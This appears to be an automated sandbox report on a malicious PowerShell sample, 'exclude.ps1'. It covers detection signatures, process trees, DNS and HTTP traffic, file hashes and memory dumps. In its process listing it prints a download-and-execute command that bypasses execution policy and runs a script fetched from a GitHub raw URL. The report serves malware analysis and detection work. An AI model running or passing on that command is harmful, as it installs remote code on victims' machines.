Overview

overview

10

Static

static

10

i965652f-m...ta.exe

windows7-x64

1

i965652f-m...ta.exe

windows10-2004-x64

7

i965652f-main/e.ps1

windows7-x64

3

i965652f-main/e.ps1

windows10-2004-x64

3

i965652f-m...de.ps1

windows7-x64

3

i965652f-m...de.ps1

windows10-2004-x64

8

i965652f-m...le.bat

windows7-x64

8

i965652f-m...le.bat

windows10-2004-x64

8

i965652f-m...ab.ps1

windows7-x64

3

i965652f-m...ab.ps1

windows10-2004-x64

8

i965652f-main/m.ps1

windows7-x64

8

i965652f-main/m.ps1

windows10-2004-x64

8

i965652f-m...st.vbs

windows7-x64

3

i965652f-m...st.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2025, 12:50 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    i965652f-main/exclude.ps1

  • Size

    979B

  • MD5

    22b7c77e64476f1842845f1529369794

  • SHA1

    b034134dfe982c73793a897278301d05a87a31a4

  • SHA256

    cdcfc9b6d8e0a133e249819859bd5d4aa303dd128ac326ce50d32dcfa884bc56

  • SHA512

    dd32593c528705522f6380ea4751c7c86a18d3a901094ef71babbf12f3ab5aee538052c033d7ca19d622af1b230e1a5fea627608e280b8913d8e63c85f69d752

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\i965652f-main\exclude.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $pl = iwr https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1; invoke-expression $pl
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    8.153.16.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.153.16.2.in-addr.arpa
    IN PTR
    Response
    8.153.16.2.in-addr.arpa
    IN PTR
    a2-16-153-8deploystaticakamaitechnologiescom
  • flag-us
    DNS
    raw.githubusercontent.com
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    raw.githubusercontent.com
    IN A
    Response
    raw.githubusercontent.com
    IN A
    185.199.111.133
    raw.githubusercontent.com
    IN A
    185.199.110.133
    raw.githubusercontent.com
    IN A
    185.199.109.133
    raw.githubusercontent.com
    IN A
    185.199.108.133
  • flag-us
    GET
    https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1
    powershell.exe
    Remote address:
    185.199.111.133:443
    Request
    GET /k53xupn43/i965652f/refs/heads/main/e.ps1 HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
    Host: raw.githubusercontent.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Connection: keep-alive
    Content-Length: 2002
    Cache-Control: max-age=300
    Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
    Content-Type: text/plain; charset=utf-8
    ETag: "f0aa0eaf96f84761173c58ba7a1bd82ae2a81d3f9bb6c2a3480ef828a9f0e474"
    Strict-Transport-Security: max-age=31536000
    X-Content-Type-Options: nosniff
    X-Frame-Options: deny
    X-XSS-Protection: 1; mode=block
    X-GitHub-Request-Id: 14E8:80D7E:317C77:41B950:6789008C
    Accept-Ranges: bytes
    Date: Thu, 16 Jan 2025 12:50:20 GMT
    Via: 1.1 varnish
    X-Served-By: cache-lcy-eglc8600088-LCY
    X-Cache: MISS
    X-Cache-Hits: 0
    X-Timer: S1737031820.306800,VS0,VE143
    Vary: Authorization,Accept-Encoding,Origin
    Access-Control-Allow-Origin: *
    Cross-Origin-Resource-Policy: cross-origin
    X-Fastly-Request-ID: e2302ff11304e3555ab4b9f31a8f8d1e9ab8ada0
    Expires: Thu, 16 Jan 2025 12:55:20 GMT
    Source-Age: 0
  • flag-us
    DNS
    133.111.199.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.111.199.185.in-addr.arpa
    IN PTR
    Response
    133.111.199.185.in-addr.arpa
    IN PTR
    cdn-185-199-111-133githubcom
  • flag-us
    DNS
    7.98.22.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    7.98.22.2.in-addr.arpa
    IN PTR
    Response
    7.98.22.2.in-addr.arpa
    IN PTR
    a2-22-98-7deploystaticakamaitechnologiescom
  • flag-us
    DNS
    2.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    2.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    97.17.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.17.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    154.239.44.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    154.239.44.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.163.202.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.163.202.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    198.187.3.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    198.187.3.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    60.153.16.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    60.153.16.2.in-addr.arpa
    IN PTR
    Response
    60.153.16.2.in-addr.arpa
    IN PTR
    a2-16-153-60deploystaticakamaitechnologiescom
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    31.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    31.243.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    90.16.208.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    90.16.208.104.in-addr.arpa
    IN PTR
    Response
  • 185.199.111.133:443
    https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1
    tls, http
    powershell.exe
    921 B
     7.2kB
     9
    11

    HTTP Request

    GET https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1

    HTTP Response

    200
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    8.153.16.2.in-addr.arpa
    dns
    69 B
     131 B
     1
    1

    DNS Request

    8.153.16.2.in-addr.arpa

  • 8.8.8.8:53
    raw.githubusercontent.com
    dns
    powershell.exe
    71 B
     135 B
     1
    1

    DNS Request

    raw.githubusercontent.com

    DNS Response

    185.199.111.133
    185.199.110.133
    185.199.109.133
    185.199.108.133

  • 8.8.8.8:53
    133.111.199.185.in-addr.arpa
    dns
    74 B
     118 B
     1
    1

    DNS Request

    133.111.199.185.in-addr.arpa

  • 8.8.8.8:53
    7.98.22.2.in-addr.arpa
    dns
    68 B
     129 B
     1
    1

    DNS Request

    7.98.22.2.in-addr.arpa

  • 8.8.8.8:53
    2.159.190.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    2.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    97.17.167.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    97.17.167.52.in-addr.arpa

  • 8.8.8.8:53
    154.239.44.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    154.239.44.20.in-addr.arpa

  • 8.8.8.8:53
    200.163.202.172.in-addr.arpa
    dns
    74 B
     160 B
     1
    1

    DNS Request

    200.163.202.172.in-addr.arpa

  • 8.8.8.8:53
    198.187.3.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    198.187.3.20.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    60.153.16.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    60.153.16.2.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    31.243.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    31.243.111.52.in-addr.arpa

  • 8.8.8.8:53
    90.16.208.104.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    90.16.208.104.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    6cf293cb4d80be23433eecf74ddb5503

    SHA1

    24fe4752df102c2ef492954d6b046cb5512ad408

    SHA256

    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

    SHA512

    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    f6f6d9afcb6837c2ea90f356245b7c78

    SHA1

    d5a0b855e2682122097d77fe5beb3c08acca9917

    SHA256

    8ac217b4c05fd6362d2e709996326bd85ef5ad0c5fe8668dbe58a4f6df84cae7

    SHA512

    7eb393746afb0d7fd28f5bd17e1f30e8470f78bb75ba07275c2e9d628bc92d2b7639731a91b3f1dca3897e8c9ef0fe8f01d84fc9376a71a0469fc1d095f48341

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p4v4b02y.mkm.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2076-17-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2076-23-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2076-29-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2076-30-0x000001D532B40000-0x000001D5332E6000-memory.dmp

    Filesize

    7.6MB

    Download

  • memory/2076-33-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3544-10-0x000001FD74670000-0x000001FD74692000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3544-11-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3544-12-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3544-16-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3544-0-0x00007FFD6EFA3000-0x00007FFD6EFA5000-memory.dmp

    Filesize

    8KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.